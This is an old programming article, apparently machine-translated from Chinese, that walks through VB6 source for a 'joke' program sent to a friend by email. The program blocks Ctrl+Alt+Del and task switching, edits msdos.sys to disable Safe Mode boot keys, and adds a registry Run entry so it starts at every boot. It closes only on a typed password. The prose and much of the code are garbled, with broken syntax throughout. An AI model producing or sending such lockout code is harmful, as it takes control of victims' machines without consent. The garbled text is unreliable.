This joke is a bit cool
2000-10-18 · Unknown · Yesky
This program demonstrates how to call an API to modify the registry in VB, so that each startup will execute, use the shell function, fucking text files, blocking system functions, making a program that can modify the system (of course can be opened with your friends) A joke and use the event key_press to receive a password to close the program. Module declaration: 'Create subkey Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _ (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long' to create key Public Declare Function RegSetValueEx Lib "Advapi32.dll" Alias "RegSetValueexa" _ (Byval HKEY As Long, Byval LPVALUENAME AS STRING, _ BYVAL RESERVED AS Long, BYVAL DWTYPE AS Long, _ LPDATA AS AS LONG 'Call API Block Function Key Public Declare Function SystemParametersInfo Lib "user32" Alias _ "SystemParametersInfoA" (ByVal uAction As Long, _ ByVal uParam As Long, ByRef lpvParam As Any, _ ByVal fuWinIni As Long) As Long 'API call control shell process Public Declare Function GetExitCodeProcess Lib " kernel32 "_ (ByVal hprocess as Long, lpExitCode as Long) as Long Public declare Function OpenProcess Lib" kernel32 "(ByVal dwDesiredAccess as Long, _ ByVal bInheritHandle as Long, ByVal dwProcessId as Long) as Long form code is as follows: General statement Dim A (3) AS Integerc onst spl_screensaverrunning = 97Const process_query_information = & H400Const still_active = & H103Dim hprocess As LongDim pad As LongDim code As Long Const HKEY_local_machine = & H80000002Const regkey = "software / microsoft / windows / currentversion / run" Const keyvalue = "run.exe" Dim retvalue As LongDim keyid As Long private suform_load ()
'API call blocks "Ctrl Alt Del", "Ctrl ESC", "Alt Tab" hotkey systemparametersInfo spl_screensaverrunning, true, byval 1 &, 0' Because the SHELL is executed, the external program has not completed tasks, VB Under the down, 'will cause file access errors, call API functions openprocess and getExitcodeProcess' to solve the problem, remove MSDOS.sys read-only, concealed properties
Pad = shell ("Attrib -h -s -R C: /msdos.sys / s", VBHIDE) HProcess = OpenProcess (Process_Query_Information, False, Pad) DO
GetExitcodeProcess HProcess, Codedoevents
Loop While Code = STILL_ACTIVE 'Modification Msdos.sys, add bootkeys = 0, let the function keys F5, F8, Ctrl, Shift fail,' users cannot enter SAFEMode modification open "c: /msdos.sys" for append as # 1print # 1, "BootKeys = 0" Close # 1Shell "Attrib H S RC: /MSDOS.SYS / S", VBHide
End sub 'modify the registry, create a string value "run" under "Software / Microsoft / Windows / CurrentVersion / Run",' value "run.exe", let each startup execute 'RetValue = RegcreateKey (HKEY_LOCAL_MACHINE, RegKey, Keyid) 'RetValue = RegSetValueex (KeyID, "Run", 0 &, 1, Byval KeyValue, Len (KeyValue) 1)' Receive password ASC code value, password is Joke Private Sub Form_KeyPress (Keyascii AS Integer)
A (3) = a (2) a (2) = a (1) a (1) = a (0) a (0) = Keyasciiiif A (0) = 101 and a (1) = 107 and A (2) ) = 111 and a (3) = 106 THEN
End
END IF
End sub 'When you exit, the three sets of hot bonds take effect in the three sets of hot bonds. Private Sub Form_Queryunload (Cancel AS Integer, UnloadMode AS Integer)
SystemParametersInfo SPL_Screensaverrunning, False, Byval 1 &, 0
End Sub Compiles to Run.exe, debugging in VB6, you can join the text box in the form, and change the form properties BorderStyle to 0-none, WindowState is changed to 2-maximized, A can't turn off the program, and each startup will be executed, I will send this program to a friend through E-mail, I am very angry, I am solemn here, I'm So Sorry, please forgive ME, Madam you!